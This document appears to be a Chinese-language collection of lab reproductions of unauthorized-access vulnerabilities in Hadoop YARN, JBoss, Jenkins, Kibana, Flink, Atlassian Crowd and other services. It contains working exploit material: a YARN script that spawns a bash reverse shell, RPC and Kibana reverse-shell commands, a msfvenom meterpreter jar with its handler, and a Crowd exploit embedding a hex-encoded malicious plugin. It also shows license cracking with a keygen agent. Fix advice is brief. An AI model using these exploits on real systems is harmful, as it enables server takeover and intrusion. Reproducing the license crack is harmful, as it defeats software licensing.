Please input "help [command]" show detail.status [-l] - Show status.pwd - Print working default service.trace [service] [method] [times] - Trace the service.exit - Exit the telnet.help [command] - Show help.invoke [service.]method(args) - Invoke the service method.count [service] [method] [times] - Count the service.clear [lines] - Clear screen.ls [-l] [service] - List services and methods.log level - Change log level or show log ps [-l] [port] - Print server ports and connections.cd [service] - Change default service.
dubbo>status
OK
dubbo>pwd
/
如果服務具有命令執行功能,則使用 “invoke” 命令可能會執行命令,因為 “invoke” 命令用于調用特定的服務方法。
Hadoop YARN resourcemanager 未授權訪問漏洞
漏洞描述
負責對資源進行同一管理調度的ReasourceManager組件的UI管理界面開放在8080/8088端口,攻擊者無需認證即可通過REST API部署任務來執行任意命令,最終可完全控制集群中所有的機器。
環境搭建
使用vulhub
[root@localhost ~]# ls /opt/vulhub-master/hadoop/unauthorized-yarn/
docker-compose.yml exploit.py README.md[root@localhost ~]# docker-compose up
訪問8088端口,可以看到Hadoop YARN ResourceManager WebUI界面。
漏洞利用
啟動nc
[root@localhost ~]# nc -lvp 9999
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
攻擊腳本
[root@localhost unauthorized-yarn]# cat exploit.py
#!/usr/bin/env pythonimport requeststarget = 'http://127.0.0.1:8088/'
lhost = '192.168.32.131' # put your local host ip here, and listen at port 9999url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {'application-id': app_id,'application-name': 'get-shell','am-container-spec': {'commands': {'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,},},'application-type': 'YARN',
}
requests.post(url, json=data)
成功攻擊成功
Hadoop Yarn RPC未授權訪問漏洞
漏洞簡述
Hadoop Yarn作為Hadoop核心組件之一,負責將資源分配至各個集群中運行各種應用程序,并調度不同集群節點上的任務執行。Hadoop Yarn默認對外開放RPC服務,攻擊者可利用RPC服務執行任意命令,控制服務器。
同時由于Hadoop Yarn RPC服務訪問控制機制開啟方式與REST API不一樣,因此即使在 REST API有授權認證的情況下,RPC服務所在端口仍然可以未授權訪問。
環境搭建
https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn
需要修改docker-compose.yml,添加8032端口映射。
curl請求8032端口。
[root@localhost tmp]# curl http://192.168.32.183:8032
It looks like you are making an HTTP request to a Hadoop IPC port. This is not the correct port for the web interface on this daemon.
漏洞利用
EXP:https://github.com/cckuailong/YarnRpcRCE
[root@localhost YarnRpcRCE-master]# java -jar YarnRpcUnauth.jar 192.168.32.183:8032 "curl 0dccw6.dnslog.cn"
log4j:WARN No appenders could be found for logger (org.apache.hadoop.util.Shell).
log4j:WARN Please initialize the log4j system properly.
log4j:WARN See http://logging.apache.org/log4j/1.2/faq.html#noconfig for more info.
查看日志
反彈shell
[root@localhost YarnRpcRCE-master]# java -jar YarnRpcUnauth.jar 192.168.32.183:8032 "bash -i >& /dev/tcp/192.168.32.183/9999 0>&1"
成功建立連接
[root@localhost tmp]# nc -lvp 9999
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 172.19.0.5.
Ncat: Connection from 172.19.0.5:59812.
bash: cannot set terminal process group (271): Inappropriate ioctl for device
bash: no job control in this shell
<00863_0003/container_1658816800863_0003_01_000001# whoami
whoami
root
<00863_0003/container_1658816800863_0003_01_000001#
漏洞修復
- Apache Hadoop官方建議用戶開啟Kerberos認證。
- 設置 Hadoop RPC服務所在端口僅對可信地址開放。
- 建議升級并啟用Kerberos的認證功能,阻止未經授權的訪問。
InfluxDB API 未授權訪問漏洞
JBoss未授權訪問漏洞
漏洞描述
JBoss 是一個管理 EJB 的容器和服務器,支持 EJB 1.1、EJB 2.0 和 EJB3 的規范。但 JBoss 核心服務不包括支持 servlet/JSP 的 WEB 容器,一般與 Tomcat 或 Jetty 綁定使用。JBoss 默認在 8080 端口監聽。
在低版本的 JBoss 中,默認可以訪問 JBoss Web 控制臺(http://IP:8080/jmx-console),無需用戶名和密碼。通過 JBoss 未授權訪問管理控制臺的漏洞,可以進行后臺服務管理,可以通過腳本命令執行系統命令,如反彈 shell、wget 寫 Webshell 文件。
環境搭建
這里用CVE-2017-7504的漏洞環境,啟動環境
[root@localhost CVE-2017-7504]# docker-compose up
瀏覽器訪問8080端口
漏洞復現
發現jboss默認頁面,點擊進入控制頁
假設是未授權訪問的話,點擊JMX-Console
不會提示輸入用戶名、密碼,而這個地方用的是別的漏洞的環境,用戶名密碼都是admin、admin,所以就假裝是不用輸入用戶名密碼的
往下找jboss.deployment進入應用部署頁面
進入應用部署頁面后,下滑找到void addURL()
,這里ParamValue
部分填寫遠程服務器上的木馬的地址。
訪問iceword
路徑,就可以看到webshell
Jenkins未授權訪問漏洞
漏洞描述
部署Jenkins 1.62版本,將全局授權策略打開,目前新版本的Jenkins已默認需要用戶登錄,但老版的中默認配置是"任意用戶可以做任何事",存在未授權訪問的問題。
環境搭建
選擇1.62版本進行下載,http://archives.jenkins-ci.org/war-stable/1.625.1/jenkins.war
將WAR包丟到tomcat的webapps里面,啟動tomcat
漏洞復現
進入管理頁面:http://192.168.32.131:8080/jenkins/manage
進入腳本命令行,后綴輸入script進入腳本命令行,輸入:println "ls".execute().text
,就可以執行ls
命令。
Jupyter Notebook 未授權訪問漏洞
漏洞描述
Jupyter Notebook(此前被稱為 IPython notebook)是一個交互式筆記本,支持運行 40 多種編程語言。
如果管理員未為 Jupyter Notebook 配置密碼,將導致未授權訪問漏洞,游客可在其中創建一個 console 并執行任意 Python 代碼和命令。
環境搭建
version: '2'
services:web:image: vulhub/jupyter-notebook:5.2.2command: start-notebook.sh --NotebookApp.token=''ports:- "8888:8888"
運行后,訪問 http://your-ip:8888
將看到 Jupyter Notebook 的 Web 管理界面,并沒有要求填寫密碼。
漏洞復現
選擇 new -> terminal 即可創建一個控制臺:
直接執行任意命令:
Kafka Manager 未授權訪問漏洞
漏洞描述
Kafka Manager是一款用于管理和監控Apache Kafka集群的工具。如果Kafka Manager未正確配置并對外開放,攻擊者可能會未授權訪問Kafka Manager,從而獲取敏感信息,如Kafka集群的配置和使用情況。
此外,如果攻擊者具有足夠的權限,他們還可以操作Kafka集群,如創建主題、修改配置等,對系統造成威脅。
環境搭建
zookeeper
docker run -d -p 2181:2181 -e TZ="Asia/Shanghai" wurstmeister/zookeeper:latest
kafka-manager
docker run -d -p 9000:9000 -e ZK_HOSTS=192.168.32.183:2181 sheepkiller/kafka-manager:latest
漏洞利用
訪問9000端口,即可未授權訪問Kafka管理界面
查看集群信息。
Kibana 未授權訪問漏洞
漏洞描述
Kibana 未授權訪問漏洞是指在 Kibana 未正確配置認證和授權的情況下,未經身份驗證的用戶可以訪問 Kibana 的儀表板、數據及其他敏感信息。這種漏洞可能會導致數據泄露、攻擊者控制 Kibana 環境以及其他安全威脅。
環境搭建
安裝elasticsearch
cd /opt
wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-6.5.3.tar.gz
tar -zxvf elasticsearch-6.5.3.tar.gz
cd elasticsearch-6.5.3
useradd es
chmod 777 -R /opt/elasticsearch-6.5.3
./bin/elasticsearch
安裝kibana
wget https://artifacts.elastic.co/downloads/kibana/kibana-6.5.3-linux-x86_64.tar.gz
tar xvf kibana-6.5.3-linux-x86_64.tar.gz
cd kibana-6.5.3-linux-x86_64
./bin/kibana
瀏覽器訪問5601端口。
漏洞利用
exp:https://github.com/LandGrey/CVE-2019-7609
[root@localhost CVE-2019-7609-master]# python CVE-2019-7609-kibana-rce.py -u 127.0.0.1:5601 -host 192.168.32.130 -port 9999 --shell
[+] http://127.0.0.1:5601 maybe exists CVE-2019-7609 (kibana < 6.6.1 RCE) vulnerability
[+] reverse shell completely! please check session on: 192.168.32.130:9999
Kong未授權訪問漏洞
漏洞描述
Kong未授權訪問漏洞(CVE-2020-11710)是指在Kong API網關系統中存在未授權訪問漏洞,攻擊者可以利用該漏洞獲取或修改管理員憑證、讀取任意文件以及遠程執行任意代碼。該漏洞由于Kong API網關系統未對請求進行嚴格驗證導致。
影響版本
Kong < V2.0.3
環境搭建
創建Docker網絡
[root@localhost ~]# docker network create kong-net
8c13241e04425db93e67c0c69c1adb7ca8adcb2701d67b43f2c20f4e76b9d613
拉取并啟動PostgreSQL容器
docker run -d --network=kong-net -p 5432:5432 -e "POSTGRES_USER=kong" -e "POSTGRES_DB=kong" -e "POSTGRES_PASSWORD=kong" postgres:9.6
數據庫安裝后,可進入postgres容器,創建kong用戶及數據庫kong
docker exec -it container_id /bin/bash
#切換用戶
su postgres
#進入命令
psql;
#創建用戶kong及密碼
create user kong with password 'kong';
#創建數據庫kong
create database kong owner kong;
#查看創建后的數據庫(可省)
\l
初始化數據庫
docker run --rm \--network=kong-net \-e "KONG_DATABASE=postgres" \-e "KONG_PG_HOST=kong-database" \-e "KONG_PG_USER=kong" \-e "KONG_PG_PASSWORD=kong" \-e "KONG_CASSANDRA_CONTACT_POINTS=kong-database" \kong:2.0.2 kong migrations bootstrap
啟動kong
docker run -it \--network=kong-net \-e "KONG_DATABASE=postgres" \-e "KONG_PG_HOST=kong-database" \-e "KONG_PG_PASSWORD=kong" \-e "KONG_CASSANDRA_CONTACT_POINTS=kong-database" \-e "KONG_PROXY_ACCESS_LOG=/dev/stdout" \-e "KONG_ADMIN_ACCESS_LOG=/dev/stdout" \-e "KONG_PROXY_ERROR_LOG=/dev/stderr" \-e "KONG_ADMIN_ERROR_LOG=/dev/stderr" \-e "KONG_ADMIN_LISTEN=0.0.0.0:8001, 0.0.0.0:8444 ssl" \-p 8000:8000 \-p 8443:8443 \-p 8001:8001 \-p 8444:8444 \kong:2.0.2
漏洞利用
訪問http://192.168.32.130:8000
利用 Admin Restful API ,在Kong Gateway上注冊一個新的"服務"(web API) 指向內網的敏感站點 http://192.168.32.130:8000
$ curl -i -X POST http://127.0.0.1:8001/services --data name=target --data url='http://192.168.32.130:8000'
添加一個路由,paths[]
的值為 /site1
,name的值為 111111
curl -i -X POST http://127.0.0.1:8001/services/target/routes --data 'paths[]=/site1' --data 'name=111111'
Kubernetes Api Server 未授權訪問
漏洞描述
Kubernetes 的服務在正常啟動后會開啟兩個端口:Localhost Port (默認8080)、Secure Port (默認6443)。這兩個端口都是提供 Api Server 服務的,一個可以直接通過 Web 訪問,另一個可以通過 kubectl 客戶端進行調用。如果運維人員沒有合理的配置驗證和權限,那么攻擊者就可以通過這兩個接口去獲取容器的權限。
環境搭建
ubuntu 18.04
下載
wget https://github.com/kubernetes/minikube/releases/download/v1.18.1/minikube-linux-amd64
mv minikube-linux-amd64 minikube
chmod 777 minikubewget "https://storage.googleapis.com/kubernetes-release/release/v1.18.3/bin/linux/amd64/kubectl" -O "/usr/local/bin/kubectl"
chmod 755 /usr/local/bin/kubectl
啟動K8S
sudo sysctl -w net/netfilter/nf_conntrack_max=131072
./minikube start --kubernetes-version=v1.18.3 --force --driver=docker --extra-config=apiserver.anonymous-auth=true
啟動儀表盤
root@l-virtual-machine:/opt# ./minikube dashboard
* Enabling dashboard ...- Using image kubernetesui/dashboard:v2.1.0- Using image kubernetesui/metrics-scraper:v1.0.4
* Verifying dashboard health ...
* Launching proxy ...
* Verifying proxy health ...
http://127.0.0.1:35293/api/v1/namespaces/kubernetes-dashboard/services/http:kubernetes-dashboard:/proxy/
把K8S API映射出去
root@l-virtual-machine:/opt# kubectl proxy --port=8088 --address='0.0.0.0' --accept-hosts='^.*'
Starting to serve on [::]:8088
漏洞檢測
儀表盤
http://192.168.32.141:8088/api/v1/namespaces/kubernetes-dashboard/services/http:kubernetes-dashboard:/proxy/#/overview?namespace=default
漏洞修復
- 進行授權認證;
- 使用Service Account令牌;
- 設置防火墻策略,限定IP訪問服務;
LDAP未授權訪問漏洞
介紹
LDAP的全稱為Lightweight Directory Access Protocol(輕量級目錄訪問協議), 基于X.500標準, 支持 TCP/IP。
LDAP目錄為數據庫,通過LDAP服務器(相當于DBMS)處理查詢和更新, 以樹狀的層次結構來存儲數據,相對關系型數據庫, LDAP主要是優化數據讀取的性能,適用于比較少改變、跨平臺的信息。
LDAP屬性
屬性 | 全名 | 描述 |
---|---|---|
dn | distinguished name | 唯一標識名,類似于絕對路徑,每個對象都有唯一標識名。 例如:uid=tester,ou=People,dc=example,dc=com |
rdn | relative | 相對標識名,類似于相對路徑。 例如:uid=tester |
uid | user id | 通常指用戶登錄名。 例如:uid=tester |
sn | sur name | 通常指一個人的姓氏。 例如:sn: Su |
giveName | 通常指一個人的名字。 例如:giveName: Aldwin | |
I | 通常指一個地方的地名。 例如:I: Beijing | |
objectClass | objectClass是特殊屬性,包含數據存儲的方式以及相關屬性信息。 | |
dc | domain component | 通常指定一個域名。 例如:dc=example,dc=com |
ou | organization unit | 通常指定一個組織單元的名稱。 例如:ou=people,dc=example,dc=com |
cn | common name | 通常指一個對象的名稱。如果是人,需要使用全名。 |
c | country | 一個二位的國家代碼。 例如:CN、US、HK、JP等。 |
環境搭建
docker run -p 389:389 -p 636:636 --name my-openldap-container --detach osixia/openldap:1.5.0
漏洞復現
docker exec my-openldap-container ldapsearch -x -H ldap://localhost -b dc=example,dc=org -D "cn=admin,dc=example,dc=org" -w admin
Memcached未授權訪問漏洞
漏洞描述
Memcached是一個高速緩存系統,用于存儲網絡上的大量動態數據。未授權訪問漏洞指的是,在沒有對Memcached的訪問控制的情況下,任意人可以在未經授權的情況下訪問和讀取存儲在Memcached中的數據。這可能導致敏感信息泄露,包括用戶密碼、信用卡信息等。
環境搭建
wget http://memcached.org/files/old/memcached-1.4.14.tar.gz
tar -zxvf memcached-1.4.14.tar.gz
cd memcached-1.4.14.tar.gz
./configure && make && make test && sudo make install
啟動Memcached
漏洞利用
掃描端口
[root@localhost bin]# nmap -p 11211 -sV 192.168.32.183Starting Nmap 6.40 ( http://nmap.org ) at 2022-07-26 06:35 EDT
Nmap scan report for 192.168.32.183
Host is up (0.000052s latency).
PORT STATE SERVICE VERSION
11211/tcp open memcached Memcached 1.4.14Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.32 seconds
緩存管理命令:
stats
命令的功能正如其名:轉儲所連接的 memcached 實例的當前統計數據。在下例中,執行 stats 命令顯示了關于當前 memcached 實例的信息
以上信息顯示了當前的流量統計。它服務于連接數量、數據存儲到緩存中、緩存命中率以及有關內存使用情況的詳細信息以及通過用于存儲單個項目的平板分配信息的分布。
flush_all
命令。這個最簡單的命令僅用于清理緩存中的所有名稱/值對。如果您需要將緩存重置到干凈的狀態。
統計slabs信息
使用msf找到key
msf6 > search memcached_extractorMatching Modules
================# Name Disclosure Date Rank Check Description- ---- --------------- ---- ----- -----------0 auxiliary/gather/memcached_extractor normal No Memcached ExtractorInteract with a module by name or index. For example info 0, use 0 or use auxiliary/gather/memcached_extractormsf6 > use auxiliary/gather/memcached_extractor
msf6 auxiliary(gather/memcached_extractor) > show optionsModule options (auxiliary/gather/memcached_extractor):Name Current Setting Required Description---- --------------- -------- -----------RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'RPORT 11211 yes The target port (TCP)THREADS 1 yes The number of concurrent threads (max one per host)msf6 auxiliary(gather/memcached_extractor) > set rhosts 192.168.32.183
rhosts => 192.168.32.183
msf6 auxiliary(gather/memcached_extractor) > run[+] 192.168.32.183:11211 - Found 0 keys
[*] 192.168.32.183:11211 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
ActiveMQ未授權訪問漏洞
漏洞描述
Apache ActiveMQ是美國阿帕奇(Apache)軟件基金會所研發的一套開源的消息中間件,它支持Java消息服務、集群、Spring Framework等。
Apache ActiveMQ管理控制臺的默認管理用戶名和密碼分別為admin和admin,用戶可以未經授權使用默認憑據直接訪問服務器,導致敏感信息泄露,并進一步進行攻擊。
環境搭建
Download: http://archive.apache.org/dist/activemq/apache-activemq/5.5.0/apache-activemq-5.5.0-bin.tar.gz
[root@localhost bin]# ./activemq start
INFO: Using default configuration
(you can configure options in one of these file: /etc/default/activemq /root/.activemqrc)INFO: Invoke the following command to create a configuration file
./activemq setup [ /etc/default/activemq | /root/.activemqrc ]INFO: Using java '/usr/bin/java'
INFO: Starting - inspect logfiles specified in logging.properties and log4j.properties to get details
INFO: pidfile created : '/tmp/apache-activemq-5.5.0/data/activemq.pid' (pid '2173')
Vulnerability Reproduction
直接訪問:http://192.168.32.183:8161/admin/queues.jsp
修復方案
編輯 ${ACTIVEMQ_HOME}/conf/jetty.xml
開啟身份驗證,將authenticate屬性改為true:
<property name="authenticate" value="true" />
編輯文件conf/jetty-realm.properties
來更改Apache ActiveMQ的默認管理用戶名和密碼,格式如下:
重啟服務就可以進行鑒權
Apache Flink未授權訪問漏洞
漏洞描述
Apache Flink Dashboard默認沒有用戶權限認證,攻擊者可以通過未授權的Flink Dashboard控制臺直接上傳木馬jar包,可遠程執行任意系統命令獲取服務器權限。
環境搭建
測試版本:flink-1.15.1
修改flink-1.15.1/confflink-conf.yaml
,將8081端口開啟。
啟動flink
start-cluster.sh
漏洞利用
訪問web頁面。
利用msfovenom生成rce.jar
┌──(root💀kali)-[/tmp]
└─# msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.32.130 LPORT=4444 -f jar > rce.jar
Payload size: 5310 bytes
Final size of jar file: 5310 bytes
配置msf監聽
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 1291.68.32.130
lhost => 1291.68.32.130
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run
在Submit New Job處上傳rec.jar
文件,點擊submit。
成功getshell。
Atlassian Crowd 未授權訪問漏洞
CVE-2019-11580
漏洞概述
Atlassian Crowd Data Center是Crowd的集群部署版。Atlassian Crowd和Crowd Data Center在其某些發行版本中錯誤地啟用了了pdkinstall開發插件,使其存在安全漏漏洞洞。攻擊者利用該漏洞可在未授權訪問的情況下對Atlassian Crowd和Crowd Data Center安裝任意的惡意插件,執行任意代碼/命令,從而獲得服務器權限
影響版本
- 2.1.0 <= version < 3.0.5
- 3.1.0 <= version < 3.1.6
- 3.2.0 <= version < 3.2.8
- 3.3.0 <= version < 3.3.5
- 3.4.0 <= version < 3.4.4
環境搭建
下載搭建Atlassian-crowd-3.4.3,配置漏洞環境,下載crowd3.4.3的版本
wget https://product-downloads.atlassian.com/software/crowd/downloads/atlassian-crowd-3.4.3.zip
修改配置文件
[root@localhost atlassian-crowd-3.4.3]# pwd
/opt/atlassian-crowd-3.4.3
[root@localhost atlassian-crowd-3.4.3]# vim crowd-webapp/WEB-INF/classes/crowd-init.properties
更改主目錄的路徑
啟動crowd
[root@localhost atlassian-crowd-3.4.3]# sh start_crowd.sh
To run Crowd in the foreground, start the server with start_crowd.sh -fg
Using CATALINA_BASE: /opt/atlassian-crowd-3.4.3/apache-tomcat
Using CATALINA_HOME: /opt/atlassian-crowd-3.4.3/apache-tomcat
Using CATALINA_TMPDIR: /opt/atlassian-crowd-3.4.3/apache-tomcat/temp
Using JRE_HOME: /usr
Using CLASSPATH: /opt/atlassian-crowd-3.4.3/apache-tomcat/bin/bootstrap.jar:/opt/atlassian-crowd-3.4.3/apache-tomcat/bin/tomcat-juli.jar
Using CATALINA_PID: /opt/atlassian-crowd-3.4.3/apache-tomcat/work/catalina.pid
Tomcat started.
訪問8095端口
得到服務器 id B1DP-2T7V-FIPR-PEBO
后通過破解程序atlassian-agent.jar
獲取許可證信息
生成破解碼
[root@localhost tmp]# java -jar /opt/atlassian/atlassian-agent.jar -d -m test@test.com -n test.cn -p crowd -o http://192.168.32.183:8095 -s B1DP-2T7V-FIPR-PEBO ====================================================
======= Atlassian Crack Agent v1.3.1 =======
======= https://zhile.io =======
======= QQ Group: 30347511 =======
====================================================Your license code(Don't copy this line!!!): AAABoQ0ODAoPeJxtUU1v4jAUvPtXRNpzgh1KPpAsbZsYLd18LdAeuJnwaLwkDnIcCvz6JiRopVUvt
jRjv5k382PTgvHalobtGBjPiT/HrsHCjWFj20aBAq5FLUOugfaIiV3TdhA787K9M/TAywZQCE2ux
OmOvMlSVELD3ihFDrIBY3c1Cq1PzXwyuRWiBEvUKFUfXIpmGNKzHUl82yKOZ027y5vOPezPUK7qz
70VDZM21xMkvAIapHHMVsHyORofrDVXGtRoJ6il5rlmMRcl1dDon/1h5XWFRk+/eFPQOPgMFiE5y
lqz/Xa2Za/xkXHnskicJ3ebV8/FH5Jx6YC6pW01+ZveDgW/2NHNW11+f1CKuvlSg+QyB3Y5CXUdg
/L8PijsotH3MqTRMlyzxIyIM/O6xciTS3xvNN9ZFWegWrWA1qDOoLoPLyTMTHvjvpuLZbYyM/aSo
iNc30E1fWTEwdjF3nRKHiLfO8halRe8gf8rHJQ7lAcg++Tu6gOatNUOVHp4azoxapJHaA9tG63b3
b/CB98sod8sODZxL23oQH4BfpvL4jAsAhQt6OiEcmsu5eD6OZo5HBm8DIwpLwIUN7XS/JQ44Zrlu
tReQFf42Id/W0E=X02k4
安裝完成
漏洞利用
CVE-2019-11580.py利用腳本
import requests
import sysbanner = '''\n _______ ________ ___ ___ __ ___ __ __ _____ ___ ___ / ____\ \ / / ____| |__ \ / _ \/_ |/ _ \ /_ /_ | ____|/ _ \ / _ \ | | \ \ / /| |__ ______ ) | | | || | (_) |______| || | |__ | (_) | | | || | \ \/ / | __|______/ /| | | || |\__, |______| || |___ \ > _ <| | | || |____ \ / | |____ / /_| |_| || | / / | || |___) | (_) | |_| |\_____| \/ |______| |____|\___/ |_| /_/ |_||_|____/ \___/ \___/ \npython CVE-2019-11580.py http://xx.xx.xx.xx\n
'''
print bannerdef is_url(url):upload_url = url + "/crowd/admin/uploadplugin.action"r = requests.get(upload_url, verify=False)if r.status_code==400:print upload_urlsend_poc(url)else:print "No Exit /crowd/admin/uploadplugin.action !"def send_poc(url):url_vuln = url + "/crowd/admin/uploadplugin.action"headers = {'User-Agent': 'curl/7.29.0','Accept': '*/*','Content-Length': '5739','Expect': '100-continue','Content-Type': 'multipart/mixed; boundary=----------------------------f15fe87e95a7'}s ="2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d6631356665383765393561370d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2266696c655f63646c223b2066696c656e616d653d227263652e6a6172220d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6f637465742d73747265616d0d0a0d0a504b03041400000008007c7ef14e544c2527eb0000000402000014001c0061746c61737369616e2d706c7567696e2e786d6c55540900039bd32e5da8d32e5d75780b0001040000000004000000007d91416ec3201045d7ce29107b20c91a23e50039c4044f53140c16e0a8bd7d260527ae5595dd7c66febc0f1a8a879c1d0431f9f9ea02bbe177cf6d1ca51dbccc9fe8bdc4af89b30023f6fcb4b4b33304b862e2acce6571c7945d0c3d3f72669f5d7fd9981da3a3eb8c70e12356a5aa90606c8bde5c0314101643c124c87082e22e1eb9296946ad7e66561e03669bdc5488c46c61473269b85aad1bdfe32d8439c8bddc6bb594955afdc2de753a63ba7b2c0d99f2f9e80aaf4ff8aafe798beee93a272f2814c50b4691aed55aa93d6bd80bd8db106362505823caaa9128dab089d6e9e59290b5dafe37890f504b03040a00000000001b7ff14e00000000000000000000000004001c00636f6d2f5554090003c6d42e5dc9d42e5d75780b000104000000000400000000504b03040a00000000001b7ff14e00000000000000000000000008001c00636f6d2f63646c2f5554090003c6d42e5dc9d42e5d75780b000104000000000400000000504b03040a0000000000d07df14e0000000000000000000000000e001c00636f6d2f63646c2f7368656c6c2f555409000357d22e5d59d22e5d75780b000104000000000400000000504b03041400000008008878f14ec2481cb07d0100008d03000016001c00636f6d2f63646c2f7368656c6c2f43646c2e6a61766155540900036fc82e5dbdc82e5d75780b0001040000000004000000008d934d4fc3300c86effd15a617523e22384f3d21049c400c890b97909a35903621714711da7fc75187e8b60ee14395da799fbcb15baff49b5a2068d7485d59196bb4769665a6f12e10bcaaa5ea65c4b0b448b226f2f268362e4ae3e44deb3b9a5340d5b0d277cfd668d056c508179505ec09db2a4eb1aef9311f12f09565c0b1962f9da9a072574862b4e91edf3b8c0401df4f60231fbd6b237221164c827550f81cbda5609ba65d806eaa7258caa5b21ddebe0866ca05d29d0aaa41c220f28ba6ca8b6236a5771df19dcb3cdfacee9e97c2bc8038e01325bb57368a9ca913db52dc05a791fbe6cbfbae25d360b2b45e8a42628f5a3069cbd44f8c06911c963ea94749f10f1d8630e82e4370e16f9d69097479f87476385dffa88d45104297ec4632a9127cf383124ecff73520050f3119780c268da1901f69c1945a8542efb1b2dac96e6656a015e95a5cf61a3d19d7f26739e56118ec71993fb5f931f692dc30f1ed16fcd227c8db60949e19dc61fed91e82d238a60da45596adb26f504b030414000000080085b2f04ecafaf82fe50000000418000017001c00636f6d2f63646c2f7368656c6c2f2e44535f53746f726555540900031add2d5d09df2d5d75780b000104000000000400000000ed98316ec2401045ff382e564ab365ca2da922e5062b0305752e100815b2e42aa95d71176ec1cdc0667e0292b1945444e13f69f40acf8cd7cdee8e0158f5b17e0122800037b6b84a600c2868f3e87a6cb0c427968bba79bfde6b809d9a4fb1468de7cbfa55ddacb8b05d1793c3891f7615420821c418e60a8fb75d8610e20fd2ef0f89ce74eb363e2fe8f2a226d289ce74eb36e6157449073ad289ce74ebe6a6651c3e8c6f364e2816e944e75f7db21077c3832bf6e7ff1ca3f3bf10e21f63e5ec7556e17b2018d09fb5a98b37e6ecbf0a472e0285ff307cc2392fd1996eddba0c08710b8e504b0304140000000800b178f14ed0054a4648030000fa05000017001c00636f6d2f63646c2f7368656c6c2f43646c2e636c6173735554090003bdc82e5d09df2d5d75780b0001040000000004000000008d545d7b1345147e274d32dbedf62ba594fa010202295016152b2608d852a05ad2d214b0f8b9dd8c6571b39b6e26b5fa33bcf4c6cb5e7313409fc71fe02ff12f78637d674925ad7da479f63967e6cc39ef79cf999cf9e3ef5f7f077009be8d31142d4cf4e12cced9388f490b178c766d5cc43b46bc6be33d5c32e27d1b53f8a00f97f1a18d12ca1257243eb23188a211572d5cb33180eb6673ddac3e9698969811c85f09a2405f15e8294edc17c8cec4352530381f44aad2aaafaa64d95b0d69c9d5e25b4a0b2c15e71f7b1bdea6db54c946a8b4fb48eb867b9ba2fac2b0a4d65baaa9cbaf746b36e2a8a9ca266b7f557bfe7777bc469a2ca576436256e2a6c42d89db2c47c0aec6adc457370343c79aa985174c060747304ef633f51a831ccce1138639f814f302707007158905078bb8eb600955023a58c63d07f7718fd00e1ee033e672b08287129f3bf8025f0a8c186c37f4a2357776d3570d1dc491c0d84b6b552741b436dd0ac29a4a1c7c85af0584ede01b90d2aaa134ecc775d7af856ef3910a439784058efe7f53044e1da8b902a70fd65d81a1bd9449eca56931897dd56ceed41bc4ee5cd468697a2aaf2ee0ac29bde8255e5d699530e98bbbef462b4ffcd7242037bcb0a516bedd13b2b0fa58f97aff903c2bf3423219dd2fe2e12ed64bad480775166793dfbf9bd1623770c74ce4acda54bec0995790efb482010344ddd586b11de4ddfde9b8ce26499cecb866a96ae930cd09f4f2f44112a4bdebc65864f2ce41b9abf55d66cedbf76641c0e29c9990bcd768a888c89307ba83ceff92e8968e77eefd5071dfce0f364cde74029713cf57388ec37c7bcc2f0361c68bf235eedea4e64c2177f629c4132e045ea7cca74623df485de82a8a0ceda5f5c77385cc73f464f00cd94a2157ca4e16726de47fc6e56790936d58a5dc380dbda5bc517649f64c59e3f936fa56a6accc2f289c7f0e87376bfdd446ffd6f69f5b3859cafd86c195a7181acfb6315c285098d011ea360e95b25bb02a041e7d420643a8e02e1f3b601d9a3a93f29da61db0f936f471d5cff2067082efe204771731ccd7b4806b1861ec11461f4695cd5867a4a6678bd5fdc03a8f12e106f2db74ee953826f196c4718913e97752e26d7eecca36dd737bce615eb7537fe1985159f6eb74dae833ff00504b030414000000080080b2f04e5e4c2ce8970100000418000011001c00636f6d2f63646c2f2e44535f53746f726555540900030fdd2d5dc8c82e5d75780b000104000000000400000000ed98cf4e833018c0bf32a61063e460e28e5c4c3cecb0c5cd1d8c09c179d8cd04a387693618c491205d06932862780d7d239fc0c751fe7c1ad0ede06953fb4b9a5f295f5b0aa4a500005167661340020001727322cc45c0f40d0ecd2789646d383d878e0c871af35b62ac1ce9b3ab820763b0c0293dbff495384cd2de5b46165d8834026f82912fc6c4b13dbfd178255c85afaead0ba228889be29536a681e6ebfecc53f5693f3d3ad5fdb181f9334a9dcfbc6e9cdb563090b68fa9ebebb66b4db3cab66925219717b66bd240a533d7f4fa8513594703a91686ad76bb2eb7daada82e879d4e23c9ef1f449128ecec368f7ac39bbbfbf0217a7ccac74c080e7eebcbcd782e0fd1f4468e915c242917df6a53d7a1ee35646f3d83c160fc4270f61236967b190c06630549e70719ada0e3dc04cf7368be504742cb68051de72618c7a179b48096d0325a41c7b971d222b8f920d833c11d0a91d0325af9d190198c7f43259794aeff278bf7ff0c06e30f43f8aed65561f1ef8c74ad959334fca800e50f012ce331365d8a6b857219ada0e3dcec4380c15816ef504b030414000000080080b2f04e7261dc5f94010000041800000d001c00636f6d2f2e44535f53746f726555540900030fdd2d5dc8c82e5d75780b000104000000000400000000ed98cf4e833018c0bf32548831723071472e261e76d8e2e60ec684e03cec6632a3876936188b2341ba0c2651c4f01afa463e818fa3fcf9749bba83a7e9fc7e49f32be52b6d81b4140060fad8aa00280020416e41866f91307d41408b4962e93578cf74b8899723fe02e9b32b400f2c709aceccf33b48d2ee6b4616895166e00d31ead91c3ab6e797cb2f4c288